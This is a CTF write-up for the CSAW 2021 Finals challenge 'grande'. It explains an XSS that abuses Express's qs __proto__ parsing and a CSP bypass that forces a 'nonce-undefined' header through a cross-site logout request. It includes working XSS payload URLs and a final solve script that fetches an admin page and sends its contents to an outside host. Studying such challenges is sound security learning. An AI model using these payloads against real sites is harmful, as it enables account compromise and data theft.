CSAW Finals - Grande

I recently played CSAW CTF 2021 with PPP. I worked with Anish on a cool challenge, grande, by @itszn13. This was an Express node application which exposed some interesting behavior about Express’s query parsing.

Overview

There were two steps in the challenge.

The first was a XSS. This required creating an array-like object for which Array.isArray(obj) === false, which can be done with ?next[__proto__]=first&next[__proto__]=second.

The second was a CSP bypass. In summary, the nonce got set to undefined when the nonce cookie is unset but the user session was not null. We could then abuse logout CSRF to force this condition, due to the SameSite properties of the cookies.

Approach

XSS

The first immediate thing I noted was the almost-XSS in the redirect handler.

// slightly condensed version 
express.response.redirect = function(url) {
  if (Array.isArray(url)) return this.status(400).end();

  let relative_url = url;
  if (url.indexOf(base_url) === 0) relative_url = url.slice(base_url.length);

  this.set('Location',relative_url);
  this.statusCode = 302;
  this.send(`<title>Redirecting...</title>
    <p><a href="${url}">Click here if not redirected...</a></p>`);
}

// ...

app.get('/next', (req, res) => {
	res.redirect(req.query.next || '/');
});

Specifically, the ${url} is the req.query.next object which is an attacker supplied query paramter – subject to whatever parsing constraints Express imposes.

The Location header injection seemed very similar to the CRLF attack I found previously against GitHub. Thus, I was reasonably confident that in order for Chrome to render the 302 redirect body, the Location header needs to be empty or unset. Also, Express doesn’t allow CRLF injection – it maintains an allow-list of header values. Thus, we probably need a different approach from just Location header injection.

Intuitively, many parts of the code seemed suspicious. Why was .slice used instead of .substring? Probably because .slice works for both strings and arrays… But then why is there an Array.isArray check? Note that if we could remove this check, an array like

[ base_url, '"><script>alert()</script>']

would allow us to get XSS.

This array would satisfy the .includes check, and then .slice would cause relative_url == []. The location header would not be set, and Chrome will render the body.

The question is: how do we get such an object?

The heart of this challenge is the __proto__ parsing quirk. I think there are two main observations required. The first is that creating an object like

const obj = {
  "__proto__": [ 1, 2, 3 ]
}

is an array-like object but is not Array.isArray

> obj.includes
[Function: includes]
> obj.slice
[Function: slice]
> obj[0]
1
> Array.isArray(obj)
false

The second observation requires digging into Express query parsing.

After looking at the Express documentation, we found that Express uses the qs library to parse query strings. One cool trick is that you can actually just directly edit the files under node_modules. We can confirm the documentation by adding a console.log into node_modules/qs/lib/parse.js

module.exports = function (str, opts) {
    console.log(str, opts);
    var options = normalizeParseOptions(opts);

After visiting an endpoint like /next?next[]=test&&&zzzz, we can confirm that indeed, our query string is logged. In particular, the query string is passed exactly as in, so we can be reasonably confident that all the parsing logic happens here.

next[]=test&&&zzzz { allowPrototypes: true }

One interesting thing to note is Express’s default of passing allowPrototypes=true. Looking at the README.md for qs, we come across an interesting warning.

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Interesting, so it turns out Express explicitly allows assignment to special properties of objects. Normally, next[a]=1&next[a]=2 would parse into

{
  "next": {
    "a": [1, 2]
  }
}

What happens if we replace a with __proto__? Turns out, it’s exactly equivalent to

{
  "next": {
    "__proto__": [1, 2]
  }
}

This is exactly the primitive we need! We can use something like /next?next[__proto__]=https://grande-blog.site&next[__proto__]="><script>alert()</script> to trigger XSS. Indeed, when trying this payload we get a CSP error indicating the browser attempted to execute our script.

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-186481b00e4949e5e51af1380a4e68f9fe7057eaaa1892897702a6d228d50463'". Either the 'unsafe-inline' keyword, a hash ('sha256-S8S/VNmXuUuoIR6OhqBqwIiIkuCxXq31hCCHAHnicV8='), or a nonce ('nonce-...') is required to enable inline execution.

Now to bypass CSP…

CSP

The first observation is that app.generate_nonce will return undefined when the user has a not-null session. This behavior is a bit weird, considering generate_nonce returns the actual nonce otherwise.

app.generate_nonce = async function(req, res) {
  if (req.session?.user) return;

The second observation is that the CSP middleware will assign the session nonce to app.generate_nonce if req.cookies.nonce === undefined.

  // CSP middleware
  app.use(async function (req, res, next) {
    let nonce = req.cookies.nonce;
    if (!nonce)
      nonce = await app.generate_nonce(req, res)

We can easily confirm this with Chrome’s developer tools by deleting the nonce cookie and checking the response headers.

Content-Security-Policy: default-src 'none';script-src 'nonce-undefined';style-src 'nonce-undefined';connect-src *;img-src *;

Thus, if we could somehow unset the nonce cookie while still keeping the user logged in, we could force the nonce to undefined and bypass any protections with <script nonce=undefined>.

An understanding of how SameSite cookies work comes into handy here. The session cookie is set with sameSite=lax while the nonce cookie is set with sameSite=none. Thus, only the nonce cookie will be passed by the browser when using any of the site’s endpoints from a different origin.

Thus, only the nonce cookie would be set in req.cookies. This means that the logout endpoint will only unset the nonce cookie.

app.get('/logout', (req, res) => {
  for (let c in req.cookies) {
    res.clearCookie(c);
    // Make sure this works in all cases
    res.clearCookie(c, {
      sameSite:'None', secure:true
    });
  }
  res.redirect(req.query.next || '/');
});

From here, we can easily set nonce=undefined on our scripts to bypass the CSP.

<script nonce=undefined>
alert(location.origin);
</script>

Solve Script

fetch("https://grande-blog.site/logout?next=https://google.com", { mode: "no-cors", credentials: "include" }).then(() => {
  location = "https://grande-blog.site/next?next[__proto__]=https://grande-blog.site&next[__proto__]=%22%3E%3Cscript%20nonce=undefined%3E" + encodeURIComponent(`fetch("/admin/my_favorite_flag").then(a => a.text()).then(a => {
  const val = a.indexOf("flag{");
  a = a.slice(val - 10, val + 50);
  location = ("http://robertchen.cc/xxx" + btoa(a))
  });`) + "%3C/script%3E";
});